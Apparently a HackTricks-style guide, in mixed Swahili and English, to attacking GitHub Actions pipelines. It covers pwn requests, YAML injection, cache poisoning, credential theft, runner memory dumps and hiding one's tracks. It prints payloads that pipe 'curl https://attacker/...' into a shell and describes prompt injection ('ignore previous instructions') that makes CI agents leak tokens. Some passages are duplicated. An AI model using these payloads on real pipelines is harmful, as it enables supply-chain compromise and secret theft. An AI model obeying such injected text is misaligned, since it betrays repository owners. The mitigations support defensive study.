Ikiwa unaweza **execute arbitrary code in GitHub Actions** ndani ya **repository**, unaweza kuwa na uwezo wa:
|
||||
|
||||
- Kunyang'anya secrets zilizowekwa kwenye pipeline na kutumia vibaya privileges za pipeline kupata ufikiaji usioidhinishwa kwenye platform za nje, kama AWS na GCP.
|
||||
- Kukwamisha deployments na artifacts nyingine.
|
||||
- Iwapo pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, kuwezesha supply chain attack.
|
||||
- Kutekeleza code kwenye custom workers ili kutumia vibaya computing power na pivot kwenda mifumo mingine.
|
||||
- Kuandika upya repository code, kutegemea permissions zinazohusiana na `GITHUB_TOKEN`.
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- Ikiwa pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, kuwezesha supply chain attack.

|
||||
- **Overwrite repository code**, kulingana na permissions zinazohusishwa na `GITHUB_TOKEN`.

### Utekelezaji kutoka Kuunda Repo

|
||||
Ikiwa wanachama wa organization wanaweza **create new repos** na wewe unaweza execute github actions, unaweza **create a new repo and steal the secrets set at organization level**.

|
||||
### Utekelezaji kutoka Branch Mpya
|
||||
|
||||
Ikiwa unaweza **kuunda tawi jipya katika repository ambayo tayari ina Github Action** configured, unaweza **kuibadilisha**, **kupakia** maudhui, na kisha **kuexecute action hiyo kutoka kwa tawi jipya**. Kwa njia hii unaweza **exfiltrate repository na organization level secrets** (lakini unahitaji kujua jinsi zinavyoitwa).
|
||||
Kama unaweza **create a new branch in a repository that already contains a Github Action** iliyosanifishwa, unaweza **modify** hiyo, **upload** the content, na kisha **execute that action from the new branch**.

### **`pull_request_target`**
|
||||
|

Trigger ya workflow **`pull_request_target`** ina **write permission** kwa target repository na **access to secrets** (na haitaiomba idhini).

Workflow trigger **`pull_request_target`** ina ruhusa za kuandika kwenye repo lengwa na ufikiaji wa secrets (na haitaki idhini).

Kwa maelezo zaidi kuhusu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\

|
||||
#### YAML-to-shell injection & metadata abuse
|
||||
|
||||
- All fields under `github.event.pull_request.*` (title, body, labels, head ref, etc.) are attacker-controlled when the PR originates from a fork. When those strings are injected inside `run:` lines, `env:` entries, or `with:` arguments, an attacker can break shell quoting and reach RCE even though the repository checkout stays on the trusted base branch.
|
||||
- Recent compromises such as Nx S1ingularity and Ultralytics used payloads like `title: "release\"; curl https://attacker/sh | bash #"` that get expanded in Bash before the intended script runs, letting the attacker exfiltrate npm/PyPI tokens from the privileged runner.
|
||||
```yaml
|
||||
steps:
|
||||
- name: announce preview
|
||||
run: ./scripts/announce "${{ github.event.pull_request.title }}"
|
||||
```
|
||||
- Kwa sababu job inarithi write-scoped `GITHUB_TOKEN`, artifact credentials, na registry API keys, mdudu mmoja wa interpolation unatosha ku-leak long-lived secrets au push backdoored release.

### `workflow_run`

## Abusing Forked Execution
|
||||
### `issue_comment`
|
||||
|
||||
Tumeelezea njia zote ambazo mshambuliaji wa nje anaweza kufanya workflow ya GitHub itekelezwe; sasa tuangalie jinsi utekelezaji huo, ukipangwa vibaya, unaweza kutumika vibaya:
|
||||
Tukio la `issue_comment` linaendesha kwa sifa za repository-level bila kujali nani aliyeandika comment. Wakati workflow inathibitisha kwamba comment inahusiana na pull request kisha inafanya checkout `refs/pull/<id>/head`, hilo linampa mwandishi yeyote wa PR ambaye anaweza kuandika maneno ya kuchochea uwezo wa kutekeleza kwa hiari yoyote kwenye runner.
|
||||
```yaml
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
jobs:
|
||||
issue_comment:
|
||||
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
ref: refs/pull/${{ github.event.issue.number }}/head
|
||||
```
|
||||
Hii ndiyo primitive kamili ya “pwn request” iliyovunja Rspack org: mshambuliaji alifungua PR, alitoa maoni `!canary`, workflow ikatekeleza commit ya head ya fork kwa token yenye uwezo wa kuandika, na job ili-exfiltrated PATs za muda mrefu ambazo baadaye zilitumika dhidi ya miradi ya ndugu.
|
||||
|
||||
### Utekelezaji wa checkout isiyoaminika
|
||||
## Kunyanyasa Utekelezaji wa Forked
|
||||
|
||||
Katika kesi ya **`pull_request`**, workflow itatekelezwa katika **muktadha wa PR** (hivyo itatekeleza **msimbo mbaya wa PR**), lakini mtu lazima **aiidhinishe kwanza** na itafanya kazi kwa baadhi ya [limitations](#pull_request).

Tumeelezea njia zote ambavyo mshambuliaji wa kutoka nje angeweza kufanya github workflow itekelezwe, sasa tuchukulie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kunyanyaswa:
|
||||
|
||||
Katika kesi ya workflow inayotumia **`pull_request_target` or `workflow_run`** ambayo inategemea workflow inayoweza kuamshwa kutoka **`pull_request_target` au `pull_request`**, code kutoka repo ya asili itatekelezwa, kwa hivyo **mshambuliaji hawezi kudhibiti code itakayotekelezwa**.
|
||||
### Utekelezaji wa checkout usioaminika
|
||||
|
||||
Katika kesi ya **`pull_request`,** workflow itatekelezwa katika **muktadha wa PR** (kwa hivyo itatekeleza **msimbo mbaya wa PR**), lakini mtu anahitaji **kuidhinisha kwanza** na itafanywa kwa baadhi ya [limitations](#pull_request).

Hili ni tatizo kwa sababu sehemu ya `github.actor` inaonyesha mtumiaji aliyezusha tukio la hivi karibuni lililosababisha workflow. Na kuna njia kadhaa za kufanya mtumiaji `dependabot[bot]` abadilishe PR. Kwa mfano:
|
||||
|
||||
- Fork the victim repository
|
||||
- Add the malicious payload to your copy
|
||||
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
|
||||
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
|
||||
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
|
||||
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
|
||||
- Unda fork ya repositori ya mwathiriwa
|
||||
- Ongeza malicious payload kwenye nakala yako
|
||||
- Washa Dependabot kwenye fork yako kwa kuongeza dependency iliyosababisha toleo la zamani. Dependabot ataunda branch kurekebisha dependency hiyo akiwa na malicious code.
|
||||
- Fungua Pull Request kwa repositori ya mwathiriwa kutoka branch hiyo (PR itaundwa na mtumiaji kwa hivyo hakuna kitakachotokea kwa sasa)
|
||||
- Kisha, mshambulizi anarudi kwenye PR ya awali ambayo Dependabot aliifungua kwenye fork yake na anaendesha `@dependabot recreate`
|
||||
- Kisha, Dependabot hufanya baadhi ya vitendo kwenye branch hiyo, ambavyo hubadilisha PR kwenye repo ya mwathiriwa, na hivyo kufanya `dependabot[bot]` kuwa actor wa tukio la hivi karibuni lililosababisha workflow (na kwa hivyo, workflow inaendeshwa).

Kama ilivyotajwa katika [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hii Github Action inaruhusu kufikia artifacts kutoka workflows tofauti na hata repositories.

|
||||
|
||||
Tatizo ni kwamba ikiwa parameter ya **`path`** haijawekwa, artifact inatolewa katika directory ya sasa na inaweza kuandika juu ya faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact ina upungufu, mshambuliaji anaweza kutumia hili kuathiri workflows nyingine zinazomwamini Artifact.

### Mutable GitHub Actions tags (instant downstream compromise)
|
||||
|
||||
GitHub Actions bado inahimiza watumiaji kurejea kwa `uses: owner/action@v1`. Ikiwa attacker atapata uwezo wa kusogeza tag hiyo—kwa njia ya automatic write access, phishing ya maintainer, au malicious control handoff—wanaweza kurekebisha tag ili kuelekeza kwa commit iliyo na backdoor na kila downstream workflow itaikimbiza kwenye run yake ijayo. Ukombozi wa reviewdog / tj-actions ulifuata mpango huo kabisa: contributors walipewa auto-granted write access waliretag `v1`, walistolea PATs kutoka kwa action maarufu zaidi, na wakafanya pivot ndani ya orgs zaidi.

### Cache Poisoning
|
||||
|
||||
Kache huhifadhiwa kati ya **workflow runs in the same branch**. Hii inamaanisha kwamba ikiwa mshambuliaji ataweza **compromise** **package** ambayo baadaye itahifadhiwa kwenye kache na baadaye **downloaded** na kutekelezwa na workflow yenye **more privileged**, atakuwa na uwezo wa **compromise** workflow hiyo pia.
|
||||
GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Kazi yoyote (pamoja na zile zilizo na `permissions: contents: read`) zinaweza kuita cache API na kuandika juu ya key hiyo kwa files yoyote. In Ultralytics, attacker alitumia vibaya `pull_request_target` workflow, aliandika tarball mbaya ndani ya `pip-${HASH}` cache, na release pipeline baadaye ilirejesha cache hiyo na kuendesha tooling iliyokuwa na trojan, ambayo leaked PyPI publishing token.
|
||||
|
||||
**Key facts**
|
||||
|
||||
- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels.
|
||||
- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches.
|
||||
- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public.
|
||||
|
||||
**Mitigations**
|
||||
|
||||
- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination.
|
||||
- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts.
|
||||
- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache.

### Systematic CI token exfiltration & hardening
|
||||
|
||||
Mara programu ya mdukuzi inapoendelea ndani ya runner, hatua inayofuata karibu kila mara ni kuiba kila credential ndefu inayopatikana ili waweze kuchapisha releases zenye madhara au kuingia kwenye repos za jirani. Malengo ya kawaida ni pamoja na:
|
||||
|
||||
- Environment variables (`NPM_TOKEN`, `PYPI_TOKEN`, `GITHUB_TOKEN`, PATs for other orgs, cloud provider keys) na mafaili kama `~/.npmrc`, `.pypirc`, `.gem/credentials`, `~/.git-credentials`, `~/.netrc`, na ADC zilizo-cache.
|
||||
- Package-manager lifecycle hooks (`postinstall`, `prepare`, nk.) ambazo zinaendeshwa moja kwa moja ndani ya CI, na hutoa chaneli ya kimyojoa ya kutoa tokeni za ziada mara release yenye madhara itakapowekwa.
|
||||
- “Git cookies” (OAuth refresh tokens) zilizohifadhiwa na Gerrit, au hata tokeni zilizojumuishwa ndani ya binaries zilizo-compiled, kama ilivyotokea katika udukuzi wa DogWifTool.

With a single leaked credential the attacker can retag GitHub Actions, publish wormable npm packages (Shai-Hulud), or republish PyPI artifacts long after the original workflow was patched.
|
||||
|
||||
**Mitributions**
|
||||
|
||||
- Badilisha static registry tokens na Trusted Publishing / OIDC integrations ili kila workflow ipate credential fupi inayofungwa kwa issuer. Mwanzo hauwezekani, weka tokeni nyuma ya Security Token Service (mfano, Chainguard’s OIDC → short-lived PAT bridge).
|
||||
- Tumia zaidi `GITHUB_TOKEN` inayotengenezwa kiotomatiki na ruhusa za repository badala ya PAT za mtu binafsi. Ikiwa PAT haziepukiki, zipangilie kwa scope ndogo ya org/repo na zirudishe mara kwa mara.
|
||||
- Hamisha git cookies za Gerrit ndani ya `git-credential-oauth` au keychain ya OS na epuka kuandika refresh tokens kwenye diski kwenye shared runners.
|
||||
- Zima npm lifecycle hooks katika CI (`npm config set ignore-scripts true`) ili dependencies zilizoathiriwa zisizoweza mara moja kuendesha payloads za exfiltration.
|
||||
- Skana release artifacts na layers za container kwa credentials zilizojumuishwa kabla ya kusambaza, na teketeza builds ikiwa token yoyote ya thamani kubwa inaonekana.

### AI Agent Prompt Injection & Secret Exfiltration in CI/CD
|
||||
|
||||
LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), mawakala hawa mara nyingi huingiza metadata isiyothibitishwa ya repository huku wakishikilia privileged tokens na uwezo wa kuitisha `run_shell_command` au GitHub CLI helpers, hivyo eneo lolote ambalo attackers wanaweza kuhariri (issues, PRs, commit messages, release notes, comments) linakuwa control surface kwa runner.
|
||||
Workflows zinazoendeshwa na LLM kama Gemini CLI, Claude Code Actions, OpenAI Codex, au GitHub AI Inference zinaonekana zaidi ndani ya Actions/GitLab pipelines. Kama ilivyoonyeshwa katika [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), ma-agent haya mara nyingi huchukua metadata ya repo isiyoaminika huku yakishikilia tokeni zenye ruhusa na uwezo wa kuita `run_shell_command` au GitHub CLI helpers, hivyo kila sehemu ambayo wadukuzi wanaweza kuhariri (issues, PRs, commit messages, release notes, comments) inakuwa eneo la kudhibiti kwa runner.

|
||||
|
||||
- Maudhui yaliyo chini ya udhibiti wa mtumiaji yanaingizwa verbatim ndani ya prompt (au yakachukuliwa baadaye kupitia agent tools).
|
||||
- Maneno ya kawaida ya prompt-injection (“ignore previous instructions”, "after analysis run …") yanafanya LLM kuitisha zana zilizo wazi.
|
||||
- Tool invocations inherit the job environment, hivyo `$GITHUB_TOKEN`, `$GEMINI_API_KEY`, cloud access tokens, au AI provider keys zinaweza kuandikwa kwenye issues/PRs/comments/logs, au kutumika kuendesha amri za CLI yoyote chini ya repository write scopes.
|
||||
- Yaliyomo yanayodhibitiwa na mtumiaji yanaingizwa verbatim ndani ya prompt (au baadaye yanachukuliwa kupitia zana za agent).
|
||||
- Maneno ya classic ya prompt-injection (“ignore previous instructions”, "after analysis run …") yanafanya LLM iite zana zilizofunguliwa.
|
||||
- Kuiitwa kwa zana kurithi environment ya job, hivyo `$GITHUB_TOKEN`, `$GEMINI_API_KEY`, tokeni za cloud access, au AI provider keys zinaweza kuandikwa ndani ya issues/PRs/comments/logs, au kutumika kuendesha amri za CLI zozote chini ya repository write scopes.
|
||||
|
||||
#### Gemini CLI case study
|
||||
|
||||
Uchambuzi wa kesi: Gemini’s automated triage workflow exported untrusted metadata to env vars and interpolated them inside the model request:
|
||||
Gemini’s automated triage workflow ilituma metadata isiyoaminika kwenye env vars na kuingiza ndani ya model request:
|
||||
```yaml
|
||||
env:
|
||||
ISSUE_TITLE: '${{ github.event.issue.title }}'
|
||||

|
||||
prompt: |
|
||||
2. Review the issue title and body: "${ISSUE_TITLE}" and "${ISSUE_BODY}".
|
||||
```
|
||||
Kazi hiyo hiyo ilifunua `GEMINI_API_KEY`, `GOOGLE_CLOUD_ACCESS_TOKEN`, na `GITHUB_TOKEN` yenye uwezo wa kuandika, pamoja na zana kama `run_shell_command(gh issue comment)`, `run_shell_command(gh issue view)`, na `run_shell_command(gh issue edit)`. Mwili wa issue mwenye nia mbaya unaweza kusafirisha maagizo yanayotekelezeka:
|
||||
Ile job ilifunuliwa pia ilionyesha `GEMINI_API_KEY`, `GOOGLE_CLOUD_ACCESS_TOKEN`, na `GITHUB_TOKEN` yenye uwezo wa kuandika, pamoja na zana kama `run_shell_command(gh issue comment)`, `run_shell_command(gh issue view)`, na `run_shell_command(gh issue edit)`. Mwili wa issue mbaya unaweza kusafirisha maagizo yanayoweza kutekelezwa:

||||
Mwakala ataite kwa uaminifu `gh issue edit`, leaking both environment variables back into the public issue body. Kila zana inayoweka hali ya repository (labels, comments, artifacts, logs) inaweza kutumiwa vibaya kwa deterministic exfiltration au repository manipulation, hata kama hakuna general-purpose shell imefunuliwa.
|
||||
Agenti ataitisha kwa uaminifu `gh issue edit`, leaking both environment variables back into the public issue body. Any tool that writes to repository state (labels, comments, artifacts, logs) can be abused for deterministic exfiltration or repository manipulation, even if no general-purpose shell is exposed.
|
||||
|
||||
#### Nyuso nyingine za wakala wa AI
|
||||
#### Other AI agent surfaces
|
||||
|
||||
- **Claude Code Actions** – Kuweka `allowed_non_write_users: "*"` kunaruhusu mtu yeyote kuanzisha workflow. Prompt injection inaweza kisha kusukuma utekelezaji wenye ruhusa wa `run_shell_command(gh pr edit ...)` hata wakati prompt ya mwanzo imehifadhiwa kwa usalama kwa sababu Claude anaweza kupata issues/PRs/comments kupitia zana zake.
|
||||
- **OpenAI Codex Actions** – Kuchanganya `allow-users: "*"` na `safety-strategy` yenye ruhusa (chochote isipokuwa `drop-sudo`) huondoa vikwazo vya kuzindua na kuchuja amri, na kuruhusu wahusika wasioaminika kuomba invocations za shell/GitHub CLI za aina yoyote.
|
||||
- **GitHub AI Inference with MCP** – Kuamilisha `enable-github-mcp: true` kunageuza MCP methods kuwa uso mwingine wa zana. Maelekezo yaliyoingizwa yanaweza kuomba MCP calls zinazosomea au kuhariri data ya repo au kuingiza `$GITHUB_TOKEN` ndani ya majibu.
|
||||
- **Claude Code Actions** – Setting `allowed_non_write_users: "*"` lets anyone trigger the workflow. Prompt injection can then drive privileged `run_shell_command(gh pr edit ...)` executions even when the initial prompt is sanitized because Claude can fetch issues/PRs/comments via its tools.
|
||||
- **OpenAI Codex Actions** – Combining `allow-users: "*"` with a permissive `safety-strategy` (anything other than `drop-sudo`) removes both trigger gating and command filtering, letting untrusted actors request arbitrary shell/GitHub CLI invocations.
|
||||
- **GitHub AI Inference with MCP** – Enabling `enable-github-mcp: true` turns MCP methods into yet another tool surface. Injected instructions can request MCP calls that read or edit repo data or embed `$GITHUB_TOKEN` inside responses.
|
||||
|
||||
#### Indirect prompt injection
|
||||
|
||||
Hata kama developers wanaepuka kuingiza vifungu vya `${{ github.event.* }}` kwenye prompt ya mwanzo, wakala anayeweza kuita `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, au endpoints za MCP hatimaye atapata maandishi yanayodhibitiwa na mshambuliaji. Payloads yanaweza hivyo kukaa katika issues, maelezo ya PR, au comments hadi AI agent aisome wakati wa utekelezaji, na wakati huo maelekezo mabaya yanadhibiti chaguzi za zana zinazofuata.
|
||||
Hata kama waendelezaji wanajiepusha kuingiza maeneo ya `${{ github.event.* }}` kwenye prompt ya awali, agenti inayoweza kuita `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, au endpoints za MCP hatimaye itachukua maandishi yanayodhibitiwa na mshambuliaji. Payloads zinaweza hivyo kukaa katika issues, maelezo ya PR, au comments hadi agenti wa AI awasome kati ya utekelezaji, na wakati huo maagizo ya kibaya yatadhibiti uchaguzi wa zana zinazofuata.

### Abusing Self-hosted runners
|
||||
|
||||
Njia ya kupata ni ipi **Github Actions zinazoendeshwa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika yaml ya usanidi wa Github Action.
|
||||
Jinsi ya kubaini ni **Github Actions are being executed in non-github infrastructure** ni kutafuta **`runs-on: self-hosted`** katika Github Action configuration yaml.
|
||||
|
||||
**Self-hosted** runners yanaweza kuwa na ufikiaji wa **taarifa nyeti za ziada**, kwa **network systems** nyingine (vulnerable endpoints in the network? metadata service?) au, hata ikiwa imewabana na kuharibiwa, **zaidi ya action moja zinaweza kuendeshwa kwa wakati mmoja** na ile yenye nia mbaya inaweza **kuiba secrets** za ile nyingine.
|
||||
**Self-hosted** runners inaweza kuwa na ufikiaji wa **extra sensitive information**, kwa **network systems** nyingine (vulnerable endpoints in the network? metadata service?) au, hata kama imejengwa kiafariki na kuondolewa, **more than one action might be run at the same time** na ile yenye nia mbaya inaweza **steal the secrets** ya nyingine.
|
||||
|
||||
Katika self-hosted runners pia inawezekana kupata the **secrets from the \_Runner.Listener**\_\*\* process\*\* ambayo itakuwa na secrets zote za workflows katika hatua yoyote kwa dumping its memory:
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||

## Kuficha nyayo zako
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote inayowasilishwa inaonekana wazi kwa umma kwenye Github na kwa akaunti lengwa ya GitHub. Katika GitHub kwa chaguo-msingi, hatuwezi kufuta PR kwenye intaneti, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zimesimamishwa na Github, PR zao zote zinafutwa kiotomatiki na kuondolewa kutoka intaneti. Kwa hiyo ili kuficha shughuli zako unahitaji ama kupata akaunti yako ya GitHub isimamishwe au akaunti yako ipakwe alama. Hii itaficha shughuli zako zote kwenye GitHub kutoka intaneti (kimsingi kuondoa PR zote za exploit yako)

In GitHub by default, we **can’t delete a PR of the internet**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **suspended** na Github, **PRs are automatically deleted** na kuondolewa kutoka kwenye internet. Kwa hivyo, ili kuficha shughuli zako unahitaji kupata either akaunti yako ya **GitHub account suspended or get your account flagged**. Hii itakuwa **hide all your activities** kwenye GitHub kutoka internet (kwa msingi kuondoa PR zako za exploit)
|
||||
|
||||
Shirika kwenye GitHub ni mteule sana katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki “kitu fulani” kwenye Issue na watahakikisha akaunti yako imesimamishwa ndani ya saa 12 :p na hapo unao, umefanya exploit yako ionekane isiyoonekana kwenye GitHub.

||||

# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Muhtasari
|
||||
|
||||
GitHub Actions cache inatumika kwa repository nzima. Workflow yoyote inayojua cache `key` (au `restore-keys`) inaweza kujaza ingizo hilo, hata kama job ina tu `permissions: contents: read`. GitHub haiagawani caches kwa workflow, aina ya event, au kiwango cha uaminifu, hivyo mshambuliaji ambaye anachukua udhibiti wa job yenye madaraka madogo anaweza poison a cache ambayo job ya release yenye idhini itarestore baadaye. Hii ndio jinsi Ultralytics compromise ilivyopitia kutoka workflow ya `pull_request_target` hadi pipeline ya kuchapisha PyPI.
|
||||
|
||||
## Vipengele vya shambulio
|
||||
|
||||
- `actions/cache` inatoa operesheni za restore na save (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). Muitikio wa save unaruhusiwa kwa job yoyote isipokuwa `pull_request` workflows zinazotumwa kutoka forks ambazo hazina uaminifu kabisa.
|
||||
- Vipengee vya cache vinatambulishwa kwa `key` pekee. `restore-keys` pana hufanya iwe rahisi ku-inject payloads kwa sababu mshambuliaji anahitaji tu kuangukia prefiksi.
|
||||
- Filesystem iliyohifadhiwa kwenye cache inarejeshwa bila mabadiliko. Ikiwa cache ina scripts au binaries zinazotekelezwa baadaye, mshambuliaji anadhibiti njia hiyo ya utekelezaji.
|
||||
|
||||
## Mfano wa exploitation chain
|
||||
|
||||
_Workflow ya mwandishi (`pull_request_target`) poisoned the cache:_
|
||||
```yaml
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p toolchain/bin
|
||||
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
|
||||
chmod +x toolchain/bin/build
|
||||
- uses: actions/cache/save@v4
|
||||
with:
|
||||
path: toolchain
|
||||
key: linux-build-${{ hashFiles('toolchain.lock') }}
|
||||
```
|
||||
_Privileged workflow ilirejeshwa na kutekeleza cache iliyopigwa sumu:_
|
||||
```yaml
|
||||
steps:
|
||||
- uses: actions/cache/restore@v4
|
||||
with:
|
||||
path: toolchain
|
||||
key: linux-build-${{ hashFiles('toolchain.lock') }}
|
||||
- run: toolchain/bin/build release.tar.gz
|
||||
```
|
||||
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
|
||||
|
||||
## Vidokezo vya unyonyaji kwa vitendo
|
||||
|
||||
- Lenga workflows zinazochochewa na `pull_request_target`, `issue_comment`, au bot commands ambazo bado zinahifadhi caches; GitHub inawawezesha kuandika juu ya repository-wide keys hata wakati runner ana read access tu kwenye repo.
|
||||
- Tafuta deterministic cache keys zinazotumika tena kuvuka trust boundaries (kwa mfano, `pip-${{ hashFiles('poetry.lock') }}`) au permissive `restore-keys`, kisha hifadhi tarball yako ya hasidi kabla workflow yenye ruhusa za juu ianze.
|
||||
- Monitor logs kwa ajili ya `Cache saved` entries au ongeza hatua yako ya cache-save ili next release job irestore payload na itekeleze scripts au binaries trojanized.
